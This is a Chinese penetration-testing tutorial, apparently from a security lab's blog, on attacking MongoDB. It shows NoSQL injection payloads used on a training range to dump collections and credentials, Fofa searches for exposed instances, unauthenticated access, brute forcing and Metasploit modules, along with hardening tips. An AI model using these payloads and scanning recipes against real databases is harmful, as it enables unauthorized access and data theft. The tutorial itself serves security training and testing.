Mongodb在实战渗透中的利用

admin 2022年3月18日00:36:45评论109 views字数 3556阅读11分51秒阅读模式

Mongodb在实战渗透中的利用

破军安全实验室


    忆享科技旗下高端的网络安全攻防服务团队.安服内容包括渗透测试、代码审计、应急响应、漏洞研究、威胁情报、安全运维、攻防演练等

本文约3400字,阅读约需9分钟。




Mongodb在实战渗透中的利用

Mongodb在实战渗透中的利用

0x00 前言




MongoDB 是一个基于分布式文件存储的数据库。由 C++ 语言编写。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案。
MongoDB 是一个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。



Mongodb在实战渗透中的利用

Mongodb在实战渗透中的利用

0x01 初识MongoDB




  1. MongoDB 是由C++语言编写的,是一个基于分布式文件存储的开源数据库系统。

  2. 在高负载的情况下,添加更多的节点,可以保证服务器性能。

  3. MongoDB 旨在为WEB应用提供可扩展的高性能数据存储解决方案。

  4. MongoDB 将数据存储为一个文档,数据结构由键值(key=>value)对组成。MongoDB 文档类似于 JSON 对象。字段值可以包含其他文档,数组及文档数组。


Mongodb在实战渗透中的利用



Mongodb在实战渗透中的利用

Mongodb在实战渗透中的利用

0x02 Docker 安装




docker pull mongo:latestdocker run -itd --name mongo -p 27017:27017 mongo --auth 启动-p 27017:27017 :映射容器服务的 27017 端口到宿主机的 27017 端口。外部可以直接通过 宿主机 ip:27017 访问到 mongo 的服务。--auth:需要密码才能访问容器服务。

接着使用以下命令添加用户和设置密码,并且尝试连接。


启动服务:

$ docker exec -it mongo mongo admin

# 创建一个名为 admin,密码为 123456 的用户。

>  db.createUser({ user:'admin',pwd:'123456',roles:[ { role:'userAdminAnyDatabase', db: 'admin'},"readWriteAnyDatabase"]});

# 尝试使用上面创建的用户信息进行连接。

> db.auth('admin', '123456')


远程连接:

使用用户名fred,密码foobar登录localhost的baz数据库例子:

mongodb://fred:foobar@localhost/baz



Mongodb在实战渗透中的利用

Mongodb在实战渗透中的利用

0x03 Windows 平台下安装 MongoDB




下载地址:

https://www.mongodb.com/try/download/community


Mongodb在实战渗透中的利用


Mongodb的配置文件:mongodb.cfg

在liunx系统下为mongodb.conf


Mongodb在实战渗透中的利用


端口默认配置,改为0.0.0.0 就可以外连了,如果没有设置密码,默认会有未授权访问漏洞

net:port: 27017bindIp: 127.0.0.1

添加环境变量:


Mongodb在实战渗透中的利用


mongo.exe 启动客户端



Mongodb在实战渗透中的利用

Mongodb在实战渗透中的利用

0x04 基本使用




show dbs 查看所有数据库


Mongodb在实战渗透中的利用


新建用户

db.createUser({user:"wang",pwd:"123456",roles:[{"role":"userAdmin","db":"admin"},{"role":"root","db":"admin"},{"role":"userAdminAnyDatabase","db":"admin"}]})


Mongodb在实战渗透中的利用


对账号授权

db.auth("wang","123456")

远程登录:

mongo -u wang -p 123456 localhost:27017/admin


利用robo3t工具连接


Mongodb在实战渗透中的利用


use wang 创建数据库db.dropDatabase() 删除数据库show collection 查看集合db.createCollection("runoob") 创建集合db.collection.drop() 删除集合


插入数据:

db.data.insert({"user":"test"}) data表示的是表名

查询:

db.data.find()

删除

db.data.remove({"user":"test"})

渗透的时候就是枚举admin的用户名密码



Mongodb在实战渗透中的利用

Mongodb在实战渗透中的利用

0x05 Mongodb渗透





1.默认端口


Mongodb在实战渗透中的利用


Fofa搜索语法:

port="27017"


2.注入mongodb实例

这里用墨者一个靶场测试


Mongodb在实战渗透中的利用


先了解下mongodb的语法特征

语法:mongodb是以键值对形式进行查询的

db.col.find({"by":"菜鸟教程", "title":"MongoDB 教程"})


Mongodb在实战渗透中的利用


存储方式:


Mongodb在实战渗透中的利用


2.1、进入环境 '引号测试注入点


Mongodb在实战渗透中的利用

2.2、查看源码


Mongodb在实战渗透中的利用


2.3、构造简单回显点

源码是这样的:

db.notice.findOne({'id':'$id'});return data;

闭合构造paylaod 回显

db.notice.findOne({'id':'1'}); return ({title:1,content:'2'});return data;

得到:

id=1'}); return ({title:1,content:'2http://xx.xx.xx.xx:49117/new_list.php?id=1%27});%20return%20({title:1,content:%272


得到回显点


Mongodb在实战渗透中的利用



2.4、查询数据流程

(1)查数据库

tojson(db)id=1'}); return ({title:tojson(db),content:'2


Mongodb在实战渗透中的利用

(2)查询所有的集合(表)

需要用tojson转换为字符串,db.getCollectionNames()得到一个数组

tojson(db.getCollectionNames())


Mongodb在实战渗透中的利用


(3)查询字段

0代表第一条数据

tojson(db.Authority_confidential.find()[0])


Mongodb在实战渗透中的利用

 

查md5在线网址

https://www.cmd5.com/

mozhe:dsansda


远程连接

mongo --host 219.153.49.228 -u "mozhe" --authenticationDatabase "mozhe" -p'49117'


3.未授权访问、暴力破解

漏洞成因:

Mongodb服务安装后,默认未开启权限验证,如果服务监听在0.0.0.0,则可以远程未授权访问数据库

Fofa上随便找个未授权的:


Mongodb在实战渗透中的利用


3.0之前的版本MongoDB,默认监听在0.0.0.0,之后的版本默认在127.0.0.1

3.0及之后版本,使用 --auth参数启动后,无账号则本地和远程均无权限访问数据库

部分版本默认不存在admin库,但如果创建了用户管理账号,这个库一定存在,如果存在管理员账号,但未使用--auth参数启动。例如:

use adminswitched to db adminshow users{"_id" : "admin.admin","user" : "admin","db" : "admin","roles" : [{"role" : "userAdminAnyDatabase","db" : "admin"}],"mechanisms" : ["SCRAM-SHA-1","SCRAM-SHA-256"]}

Mongodb的配置文件:mongodb.cfg

在liunx系统下为mongodb.conf


Mongodb在实战渗透中的利用

端口默认配置,改为0.0.0.0 就可以外连了,如果没有设置密码,默认会有未授权访问漏洞

net:port: 27017bindIp: 0.0.0.0

改为0.0.0.0之后,直接用其他机器未授权连接数据库


Mongodb在实战渗透中的利用


增加认证:

db.createUser({ user: 'root', pwd: 'yourPassword', roles: [{ role: 'dbOwner', db: 'test' }] })



用工具暴力破解:


Mongodb在实战渗透中的利用


4.MSF渗透Mongodb

未授权

use auxiliary/scanner/mongodb/mongodb_loginset rhosts 192.168.90.0/24set threads 10exploit

爆破

use exploit/linux/misc/mongod_native_helperset password 123456set username testset rhosts 192.168.253.70

自动化工具:

git clone https://github.com/codingo/NoSQLMap.gitpython2 setup.py install


 声明

    由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,破军安全实验室及文章作者不为此承担任何责任。

    破军安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经破军安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


Mongodb在实战渗透中的利用

破军安全实验室

# 长按二维码 关注我们 #



原文始发于微信公众号(破军安全实验室):Mongodb在实战渗透中的利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月18日00:36:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Mongodb在实战渗透中的利用https://cn-sec.com/archives/831737.html

发表评论

匿名网友 填写信息